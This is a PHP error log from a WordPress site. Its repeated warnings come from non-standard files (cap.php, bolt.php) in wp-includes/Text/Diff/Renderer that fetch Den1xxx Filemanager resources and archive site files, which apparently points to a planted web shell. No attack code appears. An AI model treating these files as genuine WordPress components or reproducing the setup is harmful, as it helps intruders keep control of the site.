[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
